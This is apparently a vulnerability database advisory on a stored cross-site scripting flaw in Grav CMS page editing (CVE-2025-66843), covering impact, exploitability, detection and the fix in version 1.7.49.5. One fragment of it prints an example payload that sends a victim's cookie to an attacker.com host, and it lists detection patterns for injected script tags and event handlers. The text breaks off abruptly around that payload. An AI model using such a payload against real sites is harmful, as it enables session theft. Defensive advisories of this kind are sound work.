
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-66843 is a Stored Cross-Site Scripting (Stored XSS) vulnerability in the page editing functionality of Grav CMS. An authenticated low-privileged user with content editing permissions can inject malicious JavaScript payloads into editable fields, which are then stored on the server and executed in the browsers of any user who views or edits the affected page. All versions of Grav before v1.7.49.5 are affected. The vulnerability was published on December 15, 2025, and carries a CVSS v3.1 base score of 5.4 (Medium) (Red Hat CVE, GitLab Advisory).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The root cause is insufficient sanitization and output encoding of user-supplied content in Grav's page editing interface, allowing an authenticated attacker with low privileges to embed arbitrary JavaScript into page content fields. The malicious payload is persisted server-side and executes in the context of any victim's browser session upon viewing or editing the compromised page. A proof-of-concept is publicly available on GitHub (GitHub PoC).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other authenticated users, including administrators. This can result in session cookie theft, credential capture, unauthorized actions performed on behalf of victims, and redirection to malicious sites. The vulnerability has a changed scope (S:C), meaning the impact extends beyond the attacker's own session to affect other users' confidentiality and integrity, though availability is not directly impacted (Red Hat CVE).
A proof-of-concept exploit is publicly available on GitHub, published on December 17, 2025 (GitHub PoC). Exploitation requires authentication as a low-privileged user with page editing permissions, as well as user interaction from a victim (viewing or editing the affected page). There is no evidence of active in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.018%, reflecting low current exploitation probability.
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into an editable content field./admin/pages/edit/) from low-privileged user accounts containing encoded or raw <script> tags or JavaScript event handlers in request bodies./user/pages/) containing unexpected <script> tags, javascript: URIs, or HTML event attributes (e.g., onerror, onload) injected into page content.The primary remediation is to upgrade Grav CMS to version 1.7.49.5 or later, which addresses this vulnerability (GitLab Advisory). As interim mitigations, administrators should restrict page editing permissions to trusted users only, implement a strict Content Security Policy (CSP) to limit script execution, and enforce output encoding for all user-supplied content. Regularly auditing user roles and permissions is also recommended to minimize the attack surface.
The vulnerability received standard coverage from vulnerability tracking services including Red Hat, INCIBE-CERT, and GitLab's advisory database shortly after disclosure (Red Hat CVE, GitLab Advisory). A brief mention appeared on Bluesky via automated CVE tracking accounts. No significant researcher commentary or vendor statements beyond the patch release have been identified.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."